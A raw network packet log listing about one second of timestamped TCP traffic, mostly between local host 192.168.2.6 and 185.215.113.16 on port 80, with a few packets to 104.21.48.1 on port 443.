Dec 9, 2024 21:09:36.599678993 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.600169897 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.600219965 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.600399017 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.600441933 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.601139069 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.601197004 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.601430893 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.601474047 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.602260113 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.602302074 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.602385044 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.602428913 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.603370905 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.603419065 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.603745937 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.603785038 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.604469061 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.604509115 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.604583979 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.604621887 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.606111050 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.606148958 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.606247902 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.606292009 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.606853008 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.606870890 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.606885910 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.606906891 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.607815981 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.607860088 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.608288050 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.608329058 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.608880043 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.608922005 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.743578911 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.743633986 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.743935108 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.743973970 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.744100094 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.744112968 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.744142056 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.744155884 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.745187998 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.745249033 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.745337009 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.745377064 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.746412039 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.746455908 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.746601105 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.746640921 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.747504950 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.747558117 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.747690916 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.747736931 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.748687029 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.748698950 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.748730898 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.748747110 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.749670029 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.749712944 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.749969959 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.750014067 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.750916958 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.750965118 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.751051903 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.751099110 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.751869917 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.751912117 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.752362013 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.752405882 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.753102064 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.753155947 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.753669977 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.753712893 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.754091024 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.754132032 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.754595995 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.754708052 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.755196095 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.755260944 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.755779028 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.755819082 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.757482052 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.757493973 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.757519007 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.757529974 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.757534027 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.757572889 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.758675098 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.758759975 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.758785963 CET	49936	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:36.758832932 CET	443	49936	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:36.758863926 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.758892059 CET	49936	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:36.758924007 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.759341002 CET	49936	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:36.759351015 CET	443	49936	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:36.759723902 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.759774923 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.760123014 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.760157108 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.760737896 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.760782003 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.760787010 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.760821104 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.762021065 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.762059927 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.762120962 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.762166023 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.763415098 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.763453960 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.763670921 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.763712883 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.764622927 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.764635086 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.764667034 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.764683962 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.765845060 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.765892029 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.765970945 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.766010046 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.766921997 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.766963005 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.767318964 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.767364025 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.768307924 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.768327951 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.768353939 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.768378019 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.769251108 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.769299984 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.769475937 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.769521952 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.770095110 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.770140886 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.770466089 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.770513058 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.770992041 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.771033049 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.771120071 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.771158934 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.772068977 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.772111893 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.772589922 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.772639036 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.773260117 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.773277998 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.773298979 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.773313046 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.774127960 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.774171114 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.774909019 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.774949074 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.775171041 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.775182962 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.775208950 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.775223017 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.776290894 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.776338100 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.776391029 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.776437998 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.777432919 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.777477980 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.777873039 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.777942896 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.778593063 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.778635025 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.778707981 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.778748035 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.779624939 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.779661894 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.779697895 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.779735088 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.780657053 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.780699015 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.780764103 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.780800104 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.781917095 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.781968117 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.782002926 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.782047987 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.782896042 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.782936096 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.782970905 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.783008099 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.784090996 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.784133911 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.784173965 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.784250021 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.785070896 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.785115957 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.785430908 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.785538912 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.786293030 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.786340952 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.786762953 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.786803961 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.787733078 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.787774086 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.788611889 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.788661003 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.788750887 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.788765907 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.788799047 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.788821936 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.789625883 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.789669991 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.789788961 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.789832115 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.790657997 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.790702105 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.790893078 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.790936947 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.791958094 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.792005062 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.792296886 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.792341948 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.792824984 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.792871952 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.793011904 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.793046951 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.793958902 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.793998957 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.794365883 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.794401884 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.795202017 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.795243025 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.795325041 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.795361042 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.796401024 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.796437979 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.796865940 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.796905041 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.797310114 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.797347069 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.797749043 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.797782898 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.798527956 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.798567057 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.798671961 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.798713923 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.799473047 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.799518108 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.799598932 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.799634933 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.800724030 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.800764084 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.801173925 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.801218987 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.801665068 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.801704884 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.936243057 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.936297894 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.936568022 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.936580896 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.936609983 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.936625004 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.936630011 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.936656952 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.937774897 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.937820911 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.938029051 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.938067913 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.938745975 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.938800097 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.939488888 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.939527988 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.940047979 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.940090895 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.940397978 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.940442085 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.941095114 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.941143990 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.941395044 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.941442013 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.942243099 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.942284107 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.942419052 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.942465067 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.943372011 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.943418026 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.943536997 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.943574905 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.944389105 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.944434881 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.944838047 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.944890976 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.945473909 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.945516109 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.945724010 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.945770979 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.946736097 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.946782112 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.947246075 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.947298050 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.947971106 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.948013067 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.948385954 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.948426008 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.948837042 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.948875904 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.949145079 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.949187994 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.950020075 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.950057983 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.950258970 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.950294971 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.950983047 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.950994968 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.951023102 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.951041937 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.952300072 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.952347040 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.952501059 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.952543974 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.953442097 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.953489065 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.953717947 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.953754902 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.954507113 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.954561949 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.954581022 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.954618931 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.955430984 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.955472946 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.956214905 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.956257105 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.956542015 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.956553936 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.956589937 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.957684040 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.957725048 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.958421946 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.958465099 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.958961010 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.959026098 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.959208012 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.959245920 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.959845066 CET	80	49923	185.215.113.16	192.168.2.6
